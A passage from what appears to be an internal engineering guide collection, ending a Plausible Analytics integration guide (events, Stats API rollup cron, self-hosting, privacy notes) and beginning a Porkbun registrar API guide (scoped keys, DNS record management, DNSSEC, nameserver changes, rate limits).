    const res = await fetch("/api/leads", { method: "POST", body: formData });
    if (!res.ok) return;
    plausible("Lead", { props: { provider: providerSlug, source: "site-form" } });
  }

  return (
    <form action={onSubmit}>
      <input name="message" aria-label="Message" />
      <button type="submit">Send</button>
    </form>
  );
}

Revenue goals (Business)

Create the goal with Enable revenue tracking and a base currency (fixed once set). Send the amount in major units in whatever currency the purchase used; Plausible converts it.

plausible("Purchase", { revenue: { currency: "USD", amount: 49.0 }, props: { plan: "Pro" } });

Funnels and user journeys (Business)


Server-side events (Events API)

POST /api/event with domain, name, url, optional referrer, props, revenue, interactive. No API key. It always returns 202, even for dropped events: check the x-plausible-dropped: 1 response header, and use X-Debug-Request: true to see which IP Plausible will use. The visitor's real User-Agent and X-Forwarded-For are required; a server or CDN IP gets the event silently dropped by bot filtering.

export interface ServerEvent {
  domain: string;
  name: string;
  url: string;
  userAgent: string;
  ip: string;
  referrer?: string;
  props?: Record<string, string | number | boolean>;
  revenue?: { currency: string; amount: number | string };
  interactive?: boolean;
}

export type SendResult = { recorded: true } | { recorded: false; reason: string };

export async function sendPlausibleEvent(
  event: ServerEvent,
  host: string = process.env.PLAUSIBLE_HOST ?? "https://plausible.io",
): Promise<SendResult> {
  const { userAgent, ip, ...body } = event;
  const res = await fetch(`${host}/api/event`, {
    method: "POST",
    headers: {
      "Content-Type": "application/json",
      "User-Agent": userAgent,
      "X-Forwarded-For": ip,
    },
    body: JSON.stringify(body),
  });
  if (!res.ok) return { recorded: false, reason: `HTTP ${res.status}` };
  if (res.headers.get("x-plausible-dropped") === "1") {
    return { recorded: false, reason: "dropped by bot filtering (check User-Agent / X-Forwarded-For)" };
  }
  return { recorded: true };
}

A Stripe webhook can't attribute a visitor: it arrives from Stripe's IPs. Record purchases from a request the visitor's browser makes (the success page's route handler, after verifying the Checkout Session), or client-side on that page. Don't store visitor IPs in Stripe metadata to work around this; that creates the personal data Plausible avoids.


Stats API v2 → analytics_daily rollup

Single endpoint POST /api/v2/query, Bearer key. Requirements:

curl https://plausible.io/api/v2/query \
  --request POST \
  --header "Authorization: Bearer $PLAUSIBLE_API_KEY" \
  --header "Content-Type: application/json" \
  --data '{
    "site_id": "acme.providers.motionstack.app",
    "metrics": ["visitors", "pageviews", "bounce_rate"],
    "date_range": "7d",
    "dimensions": ["time:day"]
  }'

Query shape (full typed client in examples/plausible-stats.ts):

Key Notes
site_id Domain as added to Plausible (required)
date_range day, 24h, 7d, 28d, 30d, 91d, month, 6mo, 12mo, year, all, or [start, end] ISO dates/date-times. No yesterday
metrics visitors, visits, pageviews, views_per_visit, bounce_rate, visit_duration, events, scroll_depth, percentage, conversion_rate, group_conversion_rate, average_revenue, total_revenue, time_on_page* (*need a matching filter/dimension)
dimensions event:goal, event:page, event:hostname, visit:source, visit:channel, visit:referrer, visit:utm_*, visit:country/region/city (+ _name), visit:device, visit:browser, visit:os, visit:entry_page, visit:exit_page, event:props:<name>, time, time:hour/day/week/month
filters [op, dimension, clauses, modifiers?] with is, is_not, contains, contains_not, matches, matches_not (re2); and / or / not; behavioral has_done / has_not_done; saved segments ["is", "segment", [id]]
order_by [["visitors", "desc"]]
include imports, time_labels, total_rows, trim_relative_date_range
pagination default { limit: 10000, offset: 0 }

Session metrics (bounce_rate, views_per_visit, visit_duration) can't be mixed with event dimensions except event:page (and event:hostname alongside it). Time buckets use the site's reporting timezone.

The daily rollup, triggered by a QStash schedule and verified with verifySignatureAppRouter (the previous version of this guide had an unauthenticated cron route):

// app/api/cron/plausible-rollup/route.ts (next@16.4.2, @upstash/qstash@2.12.0)
import { verifySignatureAppRouter } from "@upstash/qstash/nextjs";
import { listActiveProviders, upsertAnalyticsDaily } from "@/lib/analytics-store";
import { num, queryStats, toRecords, yesterdayISO, type StatsQuery } from "@/lib/plausible-stats";

export const maxDuration = 300;
const MAX_PROVIDERS_PER_RUN = 250; // 2 queries each, under 600 req/h

async function rollupOne(siteId: string, day: string, apiKey: string, host: string) {
  const traffic: StatsQuery = {
    site_id: siteId,
    metrics: ["visitors", "pageviews", "bounce_rate", "visit_duration"],
    date_range: [day, day],
  };
  const leads: StatsQuery = {
    site_id: siteId,
    metrics: ["visitors", "events"], // events = total conversions under a goal filter
    date_range: [day, day],
    filters: [["is", "event:goal", ["Lead"]]],
  };
  const [t, l] = await Promise.all([
    queryStats(traffic, { apiKey, host }),
    queryStats(leads, { apiKey, host }),
  ]);
  const tr = toRecords(traffic, t)[0] ?? {};
  const lr = toRecords(leads, l)[0] ?? {};
  return {
    visitors: num(tr.visitors),
    pageviews: num(tr.pageviews),
    bounceRate: num(tr.bounce_rate),
    visitDuration: num(tr.visit_duration),
    leads: num(lr.events),
  };
}

async function handler(): Promise<Response> {
  const apiKey = process.env.PLAUSIBLE_API_KEY;
  if (!apiKey) return Response.json({ error: "PLAUSIBLE_API_KEY missing" }, { status: 500 });
  const host = process.env.PLAUSIBLE_HOST ?? "https://plausible.io";
  const day = yesterdayISO();
  const providers = (await listActiveProviders()).slice(0, MAX_PROVIDERS_PER_RUN);
  const failed: string[] = [];
  for (const p of providers) {
    try {
      const row = await rollupOne(p.plausibleSiteId, day, apiKey, host);
      await upsertAnalyticsDaily({ providerId: p.id, date: day, ...row });
    } catch {
      failed.push(p.plausibleSiteId); // report to Sentry; don't fail the batch
    }
  }
  return Response.json({ ok: failed.length === 0, day, providers: providers.length, failed });
}

export const POST = verifySignatureAppRouter(handler);

upsertAnalyticsDaily is an INSERT ... ON CONFLICT (provider_id, date) DO UPDATE against Neon (Drizzle's onConflictDoUpdate works). yesterdayISO() uses UTC; if a site's reporting timezone is US Eastern, run the cron after 05:00 UTC so "yesterday" is complete there.


Sites API (Enterprise): tenant provisioning

/api/v1/sites creates, updates and deletes sites, configures the tracker script, and manages goals, custom properties, shared links and guests. Write calls need an Enterprise plan and a Sites API key; the read endpoints also accept a Stats API key. Not available in CE.

curl -X POST https://plausible.io/api/v1/sites \
  -H "Authorization: Bearer $PLAUSIBLE_SITES_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{ "domain": "acme.providers.motionstack.app", "timezone": "America/New_York",
        "tracker_script_configuration": { "outbound_links": true, "form_submissions": true } }'

The response's tracker_script_configuration.id (pa-...) gives the script URL https://plausible.io/js/{id}.js. PUT /api/v1/sites/goals is idempotent (find-or-create). Lists are cursor-paginated (after/before/limit). Full typed helpers: examples/sites-api.ts.

Without Enterprise, create tenant sites by hand (or use one site + hostname splitting, see PATTERNS.md).


Self-hosting (Community Edition)

CE bundles Plausible, PostgreSQL and ClickHouse in Docker Compose. Current release v3.2.1 (2026-05-15). Host needs a CPU with SSE 4.2 or NEON (ClickHouse) and 2 GB+ RAM.

Security: CE v3.0.0 through v3.2.0 expose /storybook, which allows remote code execution (CVE-2026-8467 / GHSA-55hg-8qxv-qj4p). Upgrade to v3.2.1, or block /storybook at the reverse proxy until you can.

git clone -b v3.2.1 --single-branch \
  https://github.com/plausible/community-edition plausible-ce
cd plausible-ce

touch .env
echo "BASE_URL=https://stats.example.com" >> .env
echo "SECRET_KEY_BASE=$(openssl rand -base64 48)" >> .env   # 64+ bytes
echo "HTTP_PORT=80" >> .env                                  # 80 + 443 = built-in Let's Encrypt
echo "HTTPS_PORT=443" >> .env

cat > compose.override.yml <<'YML'
services:
  plausible:
    ports:
      - 80:80
      - 443:443
YML

docker compose up -d

MCP server (agents)

Plausible publishes no official MCP server. Its docs list a community server built by the Sentry team: getsentry/plausible-mcp (MIT, read-only tools get_timeseries, get_breakdown, get_conversions, compare_periods). It calls the Stats API, so the key needs a Business plan (or CE).

# Hosted, bring-your-own-key. Keep the URL before --header (--header is variadic).
claude mcp add --transport http plausible https://plausible-mcp.sentry.dev/mcp \
  --header "Authorization: Bearer YOUR_PLAUSIBLE_API_KEY"

The hosted endpoint passes your key through a third party's Worker. For production data, prefer the local stdio build (git clone, pnpm build, then claude mcp add plausible -e PLAUSIBLE_API_KEY=... -- node <path>/dist/index.js) or self-host it on Cloudflare Workers, and use a dedicated read-only Stats API key. The tech-stack MCP's get_guide plausible serves this guide.


Privacy, GDPR and US state laws

Regime Position What we still do
GDPR / ePrivacy (EU) No cookies or device storage, no personal data, EU hosting, automatic DPA → no consent banner needed for Plausible alone List Plausible in the privacy policy; link the DPA in vendor records
CCPA/CPRA and other US state laws (VA, CO, CT, TX, OR, …) No sale/sharing for cross-context behavioral advertising and no persistent identifiers, so no "Do Not Sell or Share" or GPC handling is triggered by Plausible alone Disclose analytics in the privacy notice; keep props and URLs free of personal data
HIPAA (US health) Plausible doesn't receive PHI if URLs, titles and props carry no health details; we found no public BAA offer Healthcare sites: no conditions/treatments in paths or props, or self-host CE; get counsel sign-off

This is engineering guidance, not legal advice. Adding any other tracker (ads pixels, session replay) brings the banner back. Props and custom URLs are the usual way personal data leaks in.


Environment variables

Secrets (store in the Hazina vault and in Vercel project env; server-only):

PLAUSIBLE_API_KEY=pk_...           # Stats API key (Account > API Keys > Stats API)
PLAUSIBLE_SITES_API_KEY=pk_...     # Enterprise only: Sites API key for tenant provisioning
QSTASH_CURRENT_SIGNING_KEY=sig_... # verifies the rollup cron
QSTASH_NEXT_SIGNING_KEY=sig_...

Non-secret settings:

Variable Example Notes
PLAUSIBLE_HOST https://plausible.io CE: your BASE_URL. Used by server-side Events/Stats calls
NEXT_PUBLIC_PLAUSIBLE_SRC https://plausible.io/js/pa-XXXXX.js Public; it's the snippet URL

The pk_... / sig_... values are placeholders; real Plausible keys have no fixed prefix.


Automation workflows

QStash schedule (daily rollup)

# 06:15 UTC daily (after midnight US Eastern). See the `upstash` guide.
curl -X POST "https://qstash.upstash.io/v2/schedules/https://app.motionstack.app/api/cron/plausible-rollup" \
  -H "Authorization: Bearer $QSTASH_TOKEN" \
  -H "Upstash-Cron: 15 6 * * *"

Claude Code slash command: analytics snapshot

.claude/commands/analytics.md:

Summarize Plausible analytics for site: $ARGUMENTS

1. Read PLAUSIBLE_API_KEY from the environment (never print it).
2. POST /api/v2/query for site "$ARGUMENTS": metrics ["visitors","pageviews","bounce_rate","visit_duration"],
   date_range "30d", dimensions ["time:day"].
3. Query metrics ["visitors","events","conversion_rate"] with dimensions ["event:goal"] for goal conversions.
4. Query metrics ["visitors"] with dimensions ["visit:channel"] to see source mix (incl. AI Assistants).
5. Compare with analytics_daily rows in Neon for the same window; flag drift over 2%.
6. Output a short week-over-week summary and any anomalies.

Common use cases

Use case Approach
Product site analytics withPlausibleProxy + PlausibleProvider in app/layout.tsx
Per-tenant analytics One site per tenant (src={tenant.paScriptUrl}) or one site split by hostname
Lead / signup conversions Custom-event goal + plausible("Lead", { props })
Purchase revenue Revenue goal (Business) + revenue: { currency, amount } on the success page
Conversion paths Funnels (sequential / flexible / strict) + user journeys
Daily rollup into Postgres Stats API v2 per site → analytics_daily, signed QStash cron
Automated tenant onboarding Sites API (Enterprise): create site, PUT /goals, store script URL
Ad-blocker resistance First-party proxy (next-plausible, Vercel rewrites, Cloudflare Worker)
Data sovereignty / no plan gates on API Self-hosted CE v3.2.1+
Ask questions from Claude getsentry/plausible-mcp with a read-only Stats key

Troubleshooting

Issue Fix
No data appearing Site domain in Plausible must match exactly (no scheme, no trailing slash); confirm the right pa-XXXXX.js loads and run the installation check in Site Settings
plausible is not defined / early calls lost Include the inline plausible.init stub, not only the <script async> tag
Blocked by ad-blockers Proxy first-party; avoid analytics/stats/tracking/plausible in the paths
tsc error on init={{ outboundLinks: true }} Toggle outbound links / form submissions in Site Settings; init only takes the options listed above
Proxy 404 on a static export Rewrites need next start or Vercel; static exports can't proxy
Custom event not counting Create the matching goal (exact, case-sensitive; CSS + = space); goals don't backfill
Revenue missing or 100x too big Business plan; amount in major units (Stripe cents ÷ 100); ISO 4217 currency
Stats API 401 / 403 Wrong key type, key from another team, or plan without the Stats API
Stats API 400 Invalid metric/dimension, "yesterday" date range, or a session metric mixed with an event dimension
Stats API 429 Over 600 requests/hour; batch fewer queries or ask for a higher limit
Server event "accepted" but missing Check x-plausible-dropped: 1; send the visitor's UA and IP (X-Debug-Request: true shows the IP)
Localhost shows no data enabled on PlausibleProvider and init={{ captureOnLocalhost: true }}
CE script 404 / wrong host BASE_URL in .env, and src / PLAUSIBLE_HOST pointing at the CE instance
CE security scan flags /storybook Upgrade to v3.2.1 (CVE-2026-8467)

codeAmani notes

Official docs:

Porkbun Integration Guide

Technology: porkbun · Category: domains · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/porkbun

Insight:

Porkbun is codeAmani's registrar, but it is not always the DNS host: on 2026-10-20, codeamanilabs.org and 23 other account domains were delegated to Cloudflare. A Porkbun /dns/* write to such a domain still returns SUCCESS and changes nothing that resolves. Since spec v3.34 the response carries a warnings entry saying so. So every DNS task starts with "who serves this zone?" (examples/zone-check.mts). API v3.63 adds per-key permission scopes (give agents "Manage, but no purchases"), zone history/restore, /dns/preflight, and a hosted MCP server at mcp.porkbun.com/mcp.

██████╗  ██████╗ ██████╗ ██╗  ██╗██████╗ ██╗   ██╗███╗   ██╗
██╔══██╗██╔═══██╗██╔══██╗██║ ██╔╝██╔══██╗██║   ██║████╗  ██║
██████╔╝██║   ██║██████╔╝█████╔╝ ██████╔╝██║   ██║██╔██╗ ██║
██╔═══╝ ██║   ██║██╔══██╗██╔═██╗ ██╔══██╗██║   ██║██║╚██╗██║
██║     ╚██████╔╝██║  ██║██║  ██╗██████╔╝╚██████╔╝██║ ╚████║
╚═╝      ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═╝╚═════╝  ╚═════╝ ╚═╝  ╚═══╝

Porkbun Integration Guide

Focus: Driving codeAmani's registrar from Claude Code: API keys and scopes, finding who serves a zone, DNS record CRUD, DNSSEC, URL forwarding, SSL bundles, nameserver changes, rate limits, and the official Porkbun MCP server.

Overview

Porkbun is codeAmani's primary registrar. Its REST/JSON API (v3, spec version 3.63 on 2026-10-20) covers the whole domain lifecycle: availability checks, registration, renewal, transfer-in, nameservers, glue, DNSSEC, URL forwarding, contacts, the free SSL bundle, email forwarding, static and WordPress hosting, signed webhooks, and moving domains into your own Cloudflare account. Minor versions are strictly additive. The URL path stays /api/json/v3/, and every response carries an X-API-Version header.

The one thing to get right before anything else: Porkbun being the registrar does not mean Porkbun serves the DNS. The domain-portfolio guide audited the account on 2026-10-20: 24 of 39 domains were delegated to Cloudflare, 8 to Porkbun, 1 to Vercel, and 6 elsewhere. codeamanilabs.org is on Cloudflare (kai/kelly.ns.cloudflare.com).

flowchart TD
  A["DNS change needed"] --> B["Step 0: who serves the zone?<br/>zone-check.mts or getNs"]
  B -->|"*.porkbun.com"| C["Porkbun /dns/* API<br/>porkbun-dns skill"]
  B -->|"*.ns.cloudflare.com"| D["Cloudflare<br/>dashboard or API"]
  B -->|"vercel-dns.com"| E["Vercel DNS"]
  C --> F["Check warnings[] on the response"]
  F --> G["Resolves, then TLS issues"]
  D --> G
  E --> G

Official Documentation

Resource URL
API docs (v3, spec 3.63) https://porkbun.com/api/json/v3/documentation
OpenAPI 3.0 spec (JSON, includes the changelog) https://porkbun.com/api/json/v3/spec
Per-topic Markdown pages + task guides https://porkbun.com/llms
Full reference, one flat Markdown file https://porkbun.com/llms-full.txt
Mock server (no auth, schema-accurate) https://api.porkbun.com/api/json/v3/mock/<path>
Official MCP server (local + hosted) https://porkbun.com/mcp · https://github.com/oborseth/Porkbun-MCP
KB: getting started / enabling API access https://kb.porkbun.com/article/190-getting-started-with-the-porkbun-api
KB: how the free SSL certificate works https://kb.porkbun.com/article/71-how-your-free-ssl-certificates-work
API keys, scopes, "Opt In All Domains" https://porkbun.com/account/api
Status page https://status.porkbun.com

API setup

1. Create a dedicated, scoped key

At https://porkbun.com/account/api, create a key pair: a public key pk1_… and a secret key sk1_…. Both are secrets. Neither is publishable.

Give every agent or app its own key and restrict it. Click the gear icon next to the key to change these later:

Restriction Options Failure when violated
Permissions (v3.60) read (always included), dns (records, URL forwarding), domains (nameservers, contacts, auto-renew, glue, DNSSEC, transfer settings, Cloudflare moves, SSL downloads), email, hosting, purchase, funding, account. Presets: Read-only, Manage, but no purchases HTTP 403 INSUFFICIENT_SCOPE, with requiredScope and keyScopes. Nothing changes
Source IPs IPv4/IPv6 addresses or CIDR ranges HTTP 403 IP_NOT_ALLOWED
Target domains Exact registered domains (example.com does not cover a different registered domain) HTTP 403 DOMAIN_NOT_ALLOWED

Existing keys keep full access until you restrict them. For codeAmani agents, use Manage, but no purchases, limited to the domains the agent manages. A dry run of a purchase needs only read.

A sandbox key pair (pk1_sb_ / sk1_sb_) uses the same base URL. It simulates registrations, DNS, nameservers, glue and DNSSEC against an isolated datastore with fake credit, and still delivers signed webhooks. Hosting, email and closeouts return SANDBOX_UNSUPPORTED.

2. Opt the domain in to API access

API access is per domain by default. Turn it on in Domain Management → Details → API Access, or turn on Opt In All Domains on the API settings page to cover every current and future domain. If you skip this, calls fail with API_ACCESS_DISABLED. domain/listAll returns an apiAccess flag per domain and accepts an apiAccess: "yes" filter.

3. Authenticate and test

There are two ways to send credentials:

All read endpoints accept GET; writes are POST. HTTPS only.

# No credentials: returns your public IP only
curl -s https://api.porkbun.com/api/json/v3/ip

# With credentials: also returns credentialsValid, the account username, and the key's scopes
curl -s https://api.porkbun.com/api/json/v3/ping \
  -H "X-API-Key: $PORKBUN_API_KEY" \
  -H "X-Secret-API-Key: $PORKBUN_SECRET_API_KEY" | jq '{status, credentialsValid, account, scopes}'
{ "status": "SUCCESS", "credentialsValid": true, "account": "<your-porkbun-username>", "scopes": ["full"] }

A key for the wrong account is easy to spot: account names the owner. Errors such as DOMAIN_NOT_FOUND and API_ACCESS_DISABLED also carry account.


Step 0 — find who serves the zone

Run this before every DNS change. It needs no credentials:

node porkbun/examples/zone-check.mts codeamanilabs.org
#   nameservers : kai.ns.cloudflare.com, kelly.ns.cloudflare.com
#   zone host   : cloudflare
#   edit DNS in : Cloudflare: dashboard, Cloudflare API, or Porkbun /cloudflare/*Record ...

Or check from the API side:

pb="https://api.porkbun.com/api/json/v3"
hdr=(-H "X-API-Key: $PORKBUN_API_KEY" -H "X-Secret-API-Key: $PORKBUN_SECRET_API_KEY")

# Delegation at the registry (an unordered set: compare as a set)
curl -s "${hdr[@]}" "$pb/domain/getNs/example.com" | jq .ns

# Read-only health check; look for the nameservers-ours warning
curl -s "${hdr[@]}" "$pb/dns/preflight/example.com?intent=general" | jq '{safe, blockers, warnings}'
Nameservers Where to edit records Notes
*.ns.porkbun.com (e.g. maceio, curitiba, salvador, fortaleza) Porkbun /dns/* API, the porkbun-dns skill, or the Porkbun panel This guide's DNS sections apply
*.ns.cloudflare.com, delegated by hand (this is codeamanilabs.org) Cloudflare dashboard or Cloudflare API, see the Cloudflare guide A Porkbun /dns/* write succeeds, changes nothing, and returns a warnings entry
*.ns.cloudflare.com, moved with Porkbun's Cloudflare connector Porkbun /cloudflare/getRecords, createRecord, editRecord, deleteRecord, or Cloudflare itself /cloudflare/getZone/{domain} reports the live state and nameserversDrifted
*.vercel-dns.com Vercel DNS, see the Vercel guide

Gotcha: a silent no-op. Porkbun keeps a zone for every domain in the account, so /dns/create on a Cloudflare-delegated domain returns "status": "SUCCESS" and a record ID. Only the warnings array tells you the change is invisible. Treat any non-empty warnings as a failure in automation.


DNS record CRUD (Porkbun-served zones)

Endpoints are https://api.porkbun.com/api/json/v3/dns/<verb>/<domain>[/…]. name is the subdomain only: "" for the apex, "*" for a wildcard. Responses return the FQDN (api.example.com), and every value in a retrieved record is a string.

Operation Endpoint Notes
List GET /dns/retrieve/{domain} · /dns/retrieve/{domain}/{id} Excludes SOA and Porkbun's default NS
List by name + type GET /dns/retrieveByNameType/{domain}/{type}/{subdomain} Empty subdomain = apex
Create POST /dns/create/{domain} type, name, content, ttl, prio, notes, dryRun. Returns id
Edit by ID POST /dns/edit/{domain}/{id} Partial since v3.48: only the fields you send change. "name": "" moves the record to the apex
Edit by name + type POST /dns/editByNameType/{domain}/{type}/{subdomain} Replaces content/ttl/prio/notes on every match. Never creates
Delete POST /dns/delete/{domain}/{id} · /dns/deleteByNameType/{domain}/{type}/{subdomain} Both take dryRun
History, diff, restore GET /dns/history/{domain} · GET /dns/diff/{domain}/{snapshotId} · POST /dns/restore/{domain} Restore points are taken before the first write each hour. Restore only re-adds records unless you pass prune: true
Preflight GET /dns/preflight/{domain}?intent=… general, move-nameservers, transfer-out, enable-dnssec
Scan / import GET /dns/scan/{domain} · POST /dns/import/{domain} Copy a zone across before a transfer. Max 500 records per import

Record types (v3.63): A, AAAA, MX, CNAME, ALIAS, TXT, NS, SRV, TLSA, CAA, SSHFP, HTTPS, SVCB, and DS. DS is new in v3.63 and delegates a subdomain with DNSSEC. Its content is key_tag algorithm digest_type digest. The apex DS goes through createDnssecRecord instead.

TTL is an integer number of seconds. The minimum is set per account (typically 600). Omit it or send 0 to get the account minimum.

Refusals now carry codes (since v3.20 and v3.33). Handle these:

Code Meaning What to do
DUPLICATE_RECORD Same name, type and content already exist Adopt existingId; nothing was created
RECORD_CONFLICT A CNAME can't share a name with other types (RFC 1034) Read conflictingRecords
SPF_CONFLICT A second apex SPF record Write the merged record the response suggests
ZONE_RECORD_LIMIT The zone already holds 2,500 records Delete records first
API_ACCESS_DISABLED The domain is not opted in Turn on API Access for the domain
pb="https://api.porkbun.com/api/json/v3"
# Build a body with your fields; auth goes in headers, so no secrets end up in the JSON
post() { local body="${2:-}"; [ -n "$body" ] || body='{}'
  curl -s -X POST "$pb/$1" \
  -H "Content-Type: application/json" -H "Idempotency-Key: $(uuidgen)" \
  -H "X-API-Key: $PORKBUN_API_KEY" -H "X-Secret-API-Key: $PORKBUN_SECRET_API_KEY" \
  -d "$body"; }

# Rehearse, then create. Always print warnings.
post dns/create/example.com '{"type":"A","name":"api","content":"203.0.113.10","ttl":600,"dryRun":true}' | jq '{wouldSucceed, warnings}'
post dns/create/example.com '{"type":"A","name":"api","content":"203.0.113.10","ttl":600}' | jq '{status, id, warnings, code}'

# Change it in place later (never creates)
post dns/editByNameType/example.com/A/api '{"content":"203.0.113.20"}' | jq '{status, warnings}'

# Undo a bad session: list restore points, then dry-run a restore
curl -s -H "X-API-Key: $PORKBUN_API_KEY" -H "X-Secret-API-Key: $PORKBUN_SECRET_API_KEY" \
  "$pb/dns/history/example.com" | jq '.restorePoints[] | {id, takenAt, reason, recordCount, matchesLive}'
post dns/restore/example.com '{"snapshotId":12345,"dryRun":true}' | jq .

TypeScript client

The full typed client is examples/dns-client.ts. It uses header auth, GET for reads, an Idempotency-Key on every POST, one retry after Retry-After on a 429, a PorkbunError that exposes code and retryable, and a setRecord() that refuses to write unless Porkbun serves the zone. It type-checks under tsc --strict with TypeScript 7.0.2 and @types/node 26.6.5. The core:

// lib/porkbun.ts (server-only)
const BASE = "https://api.porkbun.com/api/json/v3";

export class PorkbunError extends Error {
  constructor(message: string, readonly code: string | undefined, readonly retryable: boolean) {
    super(message);
  }
}

export async function porkbun<T>(path: string, body?: Record<string, unknown>): Promise<T> {
  const apiKey = process.env.PORKBUN_API_KEY;
  const secret = process.env.PORKBUN_SECRET_API_KEY;
  if (!apiKey || !secret) throw new Error("Porkbun keys missing (server-side env only)");

  const res = await fetch(`${BASE}${path}`, {
    method: body ? "POST" : "GET",
    headers: {
      "X-API-Key": apiKey,
      "X-Secret-API-Key": secret,
      ...(body ? { "Content-Type": "application/json", "Idempotency-Key": crypto.randomUUID() } : {}),
    },
    body: body ? JSON.stringify(body) : undefined,
  });
  const data = (await res.json()) as Record<string, unknown> & {
    status: string;
    code?: string;
    message?: string;
    next_action?: { retryable?: boolean };
    warnings?: string[];
  };
  if (data.status !== "SUCCESS") {
    throw new PorkbunError(data.message ?? data.status, data.code, data.next_action?.retryable === true);
  }
  if (data.warnings?.length) {
    // e.g. "delegated to nameservers we do not operate": the write did not change what resolves
    throw new PorkbunError(data.warnings.join(" "), "WARNINGS", false);
  }
  return data as T;
}

// Reads: GET. Writes: POST with a body.
export const listRecords = (domain: string) =>
  porkbun<{ records: { id: string; name: string; type: string; content: string; ttl: string }[] }>(
    `/dns/retrieve/${domain}`,
  );

export const createRecord = (domain: string, rec: { type: string; name: string; content: string; ttl?: number }) =>
  porkbun<{ id: string }>(`/dns/create/${domain}`, rec);

Throwing on warnings is deliberate. In codeAmani automation, a write that changes nothing should fail loudly.

Python (stdlib CLI)

porkbun.py is a dependency-free CLI (ping, domains, ns, dns-list, dns-add, dns-set, dns-delete, ssl, check, forward). It prints any warnings to stderr and exits non-zero on them:

python porkbun/porkbun.py ns example.com
python porkbun/porkbun.py dns-set example.com A api 203.0.113.10 600

DNSSEC

DS records for the domain itself live at the registry and are managed under /dns/:

Endpoint Scope Notes
GET /dns/getDnssecRecords/{domain} read What the registry publishes
POST /dns/createDnssecRecord/{domain} domains keyTag, alg, digestType, digest (strings). Optional keyData* fields
POST /dns/deleteDnssecRecord/{domain}/{keytag} domains Idempotent since v3.44. Most registries delete every DS matching the key data

Use algorithm 13 (or 8) with digest type 2; every registry accepts them. Algorithms being retired under RFC 9904–9906 return DNSSEC_ALGORITHM_DEPRECATED, or a warnings entry while they still work.

Cloudflare-served zone (the codeamanilabs.org case): enable DNSSEC in Cloudflare (DNS → Settings), copy the DS values it shows, then:

post dns/createDnssecRecord/example.com '{"keyTag":"2371","alg":"13","digestType":"2","digest":"<64-hex-sha256-digest>"}' | jq '{status, warnings, code}'

Before any nameserver move or transfer-out, run GET /dns/preflight/{domain}?intent=move-nameservers. A dnssec-active blocker means you must delete the DS, wait out its TTL, and only then move. Otherwise validating resolvers reject the whole zone. Porkbun's Cloudflare connector skips domains with live DNSSEC for the same reason.


URL forwarding

Forwarding is served by Porkbun, so it works only while Porkbun serves the zone. On a Cloudflare-delegated domain, use a Cloudflare redirect rule instead.

Endpoint Notes
GET /domain/getUrlForwarding/{domain} Lists forwards, including the exact redirectType
POST /domain/addUrlForward/{domain} Required: location, type (temporary = 302, permanent = 301, masked), includePath and wildcard (yes/no). Optional: subdomain (blank = apex) and redirectType (301/302/307/masked, which overrides type)
POST /domain/deleteUrlForward/{domain}/{id} Destructive; needs the dns scope
post domain/addUrlForward/example.com \
  '{"subdomain":"www","location":"https://example.com","type":"permanent","redirectType":"301","includePath":"yes","wildcard":"no"}' | jq .status

SSL bundle

GET /ssl/retrieve/{domain} (scope domains; token auth is not accepted) returns the free Let's Encrypt bundle: certificatechain, privatekey, publickey. The certificate must already be issued (status HAVECERT). Per the Porkbun KB, it renews automatically only while Porkbun is the DNS provider.


Nameserver changes

# 1. Is the move safe?
curl -s "${hdr[@]}" "$pb/dns/preflight/example.com?intent=move-nameservers" | jq '{safe, blockers}'
# 2. Rehearse (validates ownership and permissions; changes nothing)
post domain/updateNs/example.com '{"ns":["kai.ns.cloudflare.com","kelly.ns.cloudflare.com"],"dryRun":true}' | jq .
# 3. Apply. The list REPLACES the whole set.
post domain/updateNs/example.com '{"ns":["kai.ns.cloudflare.com","kelly.ns.cloudflare.com"]}' | jq .status

Rate limits and safety rails

Limit Value (spec v3.63)
domain/checkDomain/{domain} 10 checks / 10 s / account (was 1 / 10 s until v3.30). Configurable per key; the response carries limits
Bulk POST /domain/checkDomain (domains array) Up to 25 names per call; 200 names / 60 s. Read domains, invalid and unresolved (unresolved ≠ unavailable)
Sustained scanning (~1,800 names in 3 h, < 1 registration per 200 names) Throttled to 50 names / 5 min for 24 h (reason: "SUSTAINED_BULK_CHECKING")
domain/create, renew, transfer 1 attempt / s; 1,000 successes / 24 h per account
Single API registration $100 maximum (ORDER_TOO_LARGE)
Monthly API spend Account limit, or a $100 default when none is set (MONTHLY_SPEND_LIMIT_EXCEEDED). Read it with GET /account/apiSettings
General per-key budget 20 requests / 2 s, reported in X-RateLimit-* headers. Not enforced yet (X-RateLimit-Mode: observe)
Zone size 2,500 records

On every 429 the API sends a Retry-After header (whole seconds). Branch on next_action.retryable, never on message text. Send an Idempotency-Key on every POST: replays within 24 h return the cached response, a reused key with a different body returns 409 IDEMPOTENCY_KEY_MISMATCH, and a key still in flight returns 409 IDEMPOTENCY_KEY_IN_USE. Each operation in the spec carries x-porkbun-agent (safe, cost, destructive, requiresConfirmation) and x-porkbun-scope.


Pricing, availability and registration

pricing/get is public: no keys, and safe to call from anywhere. Filter with ?tld=io or ?tlds=com,org,dev (supported on GET since v3.43). A TLD Porkbun doesn't sell is listed in unsupported. Prices are USD strings; coupons is an array.

curl -s "https://api.porkbun.com/api/json/v3/pricing/get?tlds=com,org,dev,io" | jq .pricing

Live on 2026-10-20 (register → renew, USD): .com 11.08 → 11.08 · .org 7.98 → 11.84 · .dev 8.75 → 12.87 · .app 8.75 → 14.93 · .net 12.52 → 12.52 · .io 28.12 → 51.80 · .co 15.76 → 31.20 · .ai 82.70 → 82.70 (transfer 165.09) · .tech 6.99 → 50.98. Budget on the renewal price, not the first-year price. Porkbun does not sell .ke; see the domain-portfolio guide.

Registration (POST /domain/create/{domain}, scope purchase) needs a verified email and phone (both can be verified over the API now), agreeToTerms: "yes", and cost in cents matching the current price. Premium names are excluded. Since v3.60, an account's first registration can also be made over the API. To quote a price, send dryRun: true with cost: 0. You can pay from prepaid credit (the default), or directly with payWith: "card" (Stripe Link hold) or "usdc" (x402). New registrations are transfer-locked (v3.23). codeAmani rule: an agent never registers or renews without a human confirming the exact cost from a dry run.


Porkbun MCP server (official)

Porkbun links this server from its own spec and docs, so it is official. The npm publisher is oborseth (the GitHub repo owner). It is MIT-licensed, and the current npm version is @porkbunllc/mcp-server@0.52.0 (registry last modified 2026-10-18).

Mode Setup Auth
